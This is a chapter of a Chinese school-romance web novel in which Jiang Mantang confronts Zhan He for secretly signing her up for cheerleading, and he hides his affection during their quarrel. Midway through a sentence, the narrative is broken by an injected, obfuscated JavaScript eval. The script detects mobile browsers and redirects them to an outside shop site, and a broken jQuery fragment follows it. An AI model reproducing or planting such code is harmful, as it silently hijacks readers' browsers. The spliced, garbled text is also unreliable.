11. 第 11 章
    展鹤。

    展、鹤。

    又是展鹤搞的鬼!

    姜满棠眼前一黑,太阳穴直突突,肺快气炸了。

    亏她担心他因为家里的事儿情绪低落,从昨晚开始就惦记着他,下课后第一件事就是跑来小卖店给他买草莓牛奶,想方设法的哄他开心。

    结果呢,他就是这么报答她的!

    明知道她肢体不协调,跳远助跑时左右脚不听使唤把自个儿绊倒,运球过障碍物能把自个儿脑袋转晕的人,他竟然要她进啦啦队,这不明摆着是有意让她当众出糗吗?!

    姜满棠捏紧拳头,牙快咬碎了,终于从缝隙里挤出一句:“谁报名谁参加,展鹤的身段穿训练服肯定特漂亮,往上台一站,保准儿惊艳众人,效果比我炸裂多了。”

    聂景佳看向她的目光逐渐匪夷所思:“……”

    郭婷同样嘴角抽搐:“别开玩笑了。”

    虽然啦啦队里不缺男生队员,但她一想到展鹤穿着紧身训练服,手持道具,站在篮球场里托举女生的场景,惊悚程度堪比午夜惊魂。到时候,比赛能不能正常举行是另一码事,他们这群人恐怕会被当成神经病抓进医院关起来的。

    “没有玩笑,我在很认真,非常、特别认真的提建议,”姜满棠眯起眼睛,满脸的怨气,养活一头邪剑仙不成问题,“只要你一声令下,规定时间内,我保证把他绑到训练室配合你的工作,怎么样。”

    “……”

    郭婷表情崩裂,内心无声呐喊:

    姜满棠敢把这位祖宗送来,她还不敢收呢!

    谁伺候得了啊!

    根据姜满棠的反应,郭婷懂了报名这件事只是个乌龙,姜满棠本人不知情且不愿意参与这次活动,不过她还是想尽力争取一下:“啦啦队如今的情况有些尴尬,原本的一些老队员已经毕业离校了,剩下的学生中有一部分现在外地参加艺考集训,所以队里紧缺人。”

    “现在队员们终于到齐了,我一个人既要负责这段时间的排练内容,又要兼顾大家的种种需求,实在是分身乏术。”郭婷掌心压在她肩膀上摁了摁,十分诚恳地道:“棠棠,我很需要你的帮助。”

    她们以前在校合唱队合作过几次,默契肯定是有的。

    最重要的,姜满棠开朗幽默,擅长调动团队的情绪,遇事有主见,能力还强。而且,她天生带着让人乐意卸下防备与之亲近的魅力,担的起团队主心骨的角色。

    就算展鹤没有帮她交报名表,郭婷也有意思去找姜满棠聊聊。

    当然了,郭婷说这些,倒也没有为难姜满棠的意思。

    如果她实在不乐意……

    报名表现在还没汇总交给老师,一切都有挽回的余地。

    犹豫几秒,姜满棠颔首:“行。”

    紧接着补充:“看在你的面子上,我愿意试试。”

    绝对跟展鹤没有一毛钱关系。

    郭婷顿时笑开花,挽着她的胳膊一直说谢谢。

    趁时间还来得及,聂景佳陪姜满棠去领取训练服,途中偶遇从操场口出来的祁宏。

    祁宏腋下夹着篮球,热得满头大汗。

    身旁跟着一堆男生。

    入冬后气温越来越冷,别的学生以防感冒影响学习状态,里三层外三层裹得严严实实,唯独他们这一群人,穿着单薄,校服上衣系在腰间,勾肩搭背,说说笑笑的往教学楼的方向来。

    个个儿吊儿郎当的。

    乍一瞧,跟出来混的一样。

    聂景佳心情难以言喻,感觉潮男恐惧症犯了,问:“他们骑电瓶车的时候,会不会把车头撅起来?”

    姜满棠跟祁宏他们算不上多么熟,并不了解这些。眼前场景的冲击力度不小,一下给她整沉默了,半晌后,她犹豫道:“……应该,不会,的吧。”

    聂景佳:“应该?”

    姜满棠:“……嗯。”

    原谅她实在想象不到展鹤混的样子。

    话音刚落,展鹤从洗手池那边出现。

    这位更是重量级的拽哥。

    校服规规整整的穿在身上,拉链拉到顶端,低着头,略长的刘海儿挡住他的眉眼,只露出半张脸,显得有些阴郁。比起其他男生一颠一颠的走路方式,展鹤习惯性的先提跨,长腿迈开,大步流星却异常稳健。那一段柏油马路俨然成了他一个人的走秀台,周身弥漫着“生人勿近”的bking气质。

    聂景佳锐评:“如果晚上遇见他,我绝对会绕着走。”

    姜满棠:“……”

    姜满棠:“附议。”

    祁宏眼尖的发现姜满棠,向她摆手打招呼。

    展鹤紧随其后望过来。

    隔着一段距离,两人的视线隔空对上。

    姜满棠毫不犹豫,率先扭开脸。

    莫名地,展鹤从她身上捕捉到一股类似恼怒烦躁的情绪,眉间轻挑。

    姜满棠跟聂景佳耳语几句。

    两人随即分开,聂景佳回教学楼,她独自往这边走来。

    祁宏这个人精当即看明白情况,特别上道的把展鹤向前面一推,然后笑容满面的慢慢后退。旁边众人见状,也咂摸出一丝不对劲,纷纷自觉的闪开一段距离,给他们留出足够的相处空间。

    无法否认,展鹤十分受用别人将他和姜满棠自动划分为一起的举动,更何况,他难得见姜满棠这么主动靠近自己,还是当着一群人的面儿,心底那些无法言说的占有欲和虚荣得到极大满足。他努力克制住内心满到即将溢出来的快意,表面装的风轻云淡,其实心跳声早就强烈到足够八百米外的人听清楚。

    展鹤注视着姜满棠一步步靠近,紧张到逐渐呼吸不畅。

    他舔舔唇,咽下一口唾沫,缓解喉咙异常的干燥感,打好腹稿正准备搭话,结果姜满棠木着一张小脸,大步径直从他身旁经过,连一个眼神都没施舍,完全把他当空气般忽略掉了。然后,在展鹤由震惊转向不愉的眼神中,她坦然自若的在祁宏面前停下脚步,递上那瓶还热着的草莓牛奶。

    展鹤后槽牙快咬碎了,眼中充斥着威胁,盯住祁宏不动,大有“你敢接就绝交”的意思。

    祁宏先是愣了下,不明白事情走向怎么突然变得匪夷所思起来。接着,他被一旁那道无法忽视的视线震慑住,冷汗直冒,内心叫苦连天。

    这倒霉事儿为什么降临到他身上了?

    见他不接,姜满棠伸出的手一直抬着,态度倔强。没办法,祁宏硬着头皮拒绝:“你大概不知道吧,我牛奶过敏,尤其是草莓味儿的,喝了会当场暴毙。”

    “不是给你买的。”

    姜满棠:“托你转交给展鹤,顺便跟他说声谢谢。”

    祁宏顿时抒发出一口郁气,卸掉肩上的重担,如愿捡回狗命一条。他瞥见展鹤的脸色有所松动,非常识趣儿地问:“谢他什么?”

    姜满棠犹豫一秒,不情不愿地嘀咕:“他整理的地理笔记和试卷很有用。”

    祁宏哦了声,见他们别别扭扭的,仍然没有搭理彼此的征兆,无奈只好继续做他哥们儿的传声筒:“展鹤就在这儿,你亲自送给他呗,显得多有诚意。”

    姜满棠冷下脸,不搭腔。

    展鹤彻底转过身,直直盯着她,表情不太明朗,也在憋气。

    祁宏从他俩之间扫视个来回,懂了。

    “又吵架啦?”

    “……”

    他语气蛮不正经的,听上去像是等着瞧热闹。

    姜满棠瘪嘴,眼神闪躲,不想回答。

    祁宏嘿嘿一乐,半调侃半认真地说:“平时托我帮忙当然没问题,但今天这件事涉及人身安全,原谅我有心无力哈。”

    姜满棠:“……”

    送瓶牛奶而已。

    不至于要他的命。

    别太夸张了。

    趁她沉默的这几秒,祁宏眼疾手快地拉着旁边凑热闹的同学开溜。

    转瞬间,只剩下姜满棠和展鹤两人。

    气氛逐渐微妙。

    展鹤一声不吭地睨着姜满棠,一想到她刚刚当众越过自己去与祁宏讲话,心情俨然差到极点。

    早晨他们有说有笑的结伴上学,半天没见,她对他的态度发生一百八十度大转变。

    至于转变的原因……

    展鹤猜到了,却放不下面子开口,非要耗到她先忍耐不住挑开话题——姜满棠憋不住事儿,有火一定会当面发。他了解她。

    可惜他今天的盘算出现失误。

    姜满棠把牛奶放在附近的台子上,正眼都不看他一眼,转身便走,后脑勺里透着一股冷漠生疏感。把平时从他那儿学到的“冷暴力”发挥的淋漓尽致。

    展鹤绷不住破防了,大跨步冲上前,强硬地拽住姜满棠。

    正容亢色:“你冲我发什么脾气。”

    姜满棠极其不乐意在学校里跟男生拉拉扯扯,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135626|150077||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这一点,不止针对展鹤。

    何况他们本来就不是多么熟络的关系,被同学看见暧昧不清的画面,传出去,她还做不做人了,如果传闻和展鹤沾边,更容易招惹麻烦。

    姜满棠拧着手腕,拼命挣脱无果,气得眼角发红,压着嗓门低吼:“放开!”

    展鹤不为所动:“先回答我的问题。”

    姜满棠狠狠剜他一眼,张嘴就骂:“大尾巴狼。”

    展鹤眯起的眼睛里闪着危险光芒,不爽嘶声:“吃枪药了你?能不能好好讲话?”

    姜满棠反唇相讥:“我天生就这样儿,你听不了就别听,受不了就放手让我走,实在不行就忍着,忍不了也没用,反正我不改。”

    “……不是。”

    展鹤无奈到极点,反而笑出声:“你的叛逆期迎来第二春了?”

    姜满棠冷哼:“近墨者黑,我满身的坏毛病完全是受了你的影响。”

    展鹤:“???”

    展鹤:“……”

    哇塞。

    听听这话说得,讽刺批判的意味十足。

    他是个绝世大魔王。

    她是朵无辜被沾染的纯白小花。

    恶事都赖他,而她天生干净。

    展鹤垂眸扫过腕表,课间剩余时间不多,继续争下去没有任何意义,他决定暂时避让她的锋芒:“行,你说的都对,是我不识好歹上赶着招惹你,现在悔不当初,真心向你道歉,求你给我一次重新做人的机会。咱俩各退一步,友好讨论一下你生气的真正原因,行不行?”

    姜满棠看着展鹤这张极有迷惑性的斯文清秀长相,再联想他在背后搞得那些小动作,怒火噌噌燃烧,浓烟蒙住残存的理智,她忍无可忍,无需再忍,憋了一肚子的牢骚通通冲着他发泄:“昨天晚上你心情不好,我给你送吃送喝,顶着冷风陪你聊天……”

    “我是怎么对你的?你又是怎么对我的?”

    “展鹤,你这人真没良心!”

    刚才两人对峙的时候有同学经过,以防被人瞧见传闲话,展鹤提前收回抓着她的手,姜满棠沉浸式细数他的“罪行”,情绪过分激动,压根没察觉到。

    这会儿她双手叉腰,正要继续发力,恍然发觉自己的身高太矮,对上一米八三的展鹤没有压迫感,转身踩上花坛边缘。

    展鹤担心她摔倒,及时扶了一把,等人站稳之后又装作若无其事。

    姜满棠如愿得以俯视他,刚刚被迫中断的情绪续上,她厉声谴责:“你凭什么不先过问我的意见就擅自做主给我报名加入啦啦队?你明知道我的肢体不协调,训练时间这么短,我根本应付不了,你是不是存心让我上场出丑,等着看我的笑话?”

    只是口头抱怨还不满足,姜满棠葱白似的指尖戳着展鹤的肩膀,一下接着一下地推搡他,力道对展鹤而言不算重,他脚步却不稳,倒退一步后又回到原地,沉默着承受每一次与她短暂接触后的甜蜜余韵。

    “说话啊,你怎么不出声了?是不是也觉得自己理亏?”

    姜满棠第一次跟他吵架占上风,当然不肯放过这个绝妙的反击机会。她下巴微挑,扬起一抹胜利者的微笑:“道歉吧。你跟我说一声对不起,我就大度的原谅你。”

    “……”

    展鹤身体轻飘飘的,灵魂仿佛已经被抽干了,感官废止,周围一切声音全部隔绝,留下的最后一丝力气都用来望向她。他眼底的冰渐渐融化,闪烁着细碎的光芒,像是因为羞涩躲在云后的星星按耐不住悄悄探出脑袋窥探人间,他同样也在注视着自己暗恋许久的女生。

    有句话是怎么说的来着。

    当你足够喜欢一个人的时候,连对方发火的样子都感觉很可爱。

    展鹤冷漠的外壳再也维持不住,那双漂亮的眼睛缓慢弯成月牙状,笑意一点点泄露。温柔的样子宛如从乌云后钻出的一抹暖光,让人心神荡漾。

    姜满棠的话语戛然而止。

    时间仿佛停下了,唯有冷风仍不知疲倦的持续呼啸。

    展鹤不对姜满棠设防,所以她不费吹灰之力就发现他荡漾的笑意。

    意识到什么,姜满棠木讷的表情逐渐崩裂,紧接着,爆发出比之前更汹涌的愤怒。她险些被气到撅过去,嗷得大叫一声:“你不道歉就算了,竟然还敢当面儿嘲笑我!”

    “绝交!”

    “现在,立刻,马上!”

    “我,要跟你,绝交!”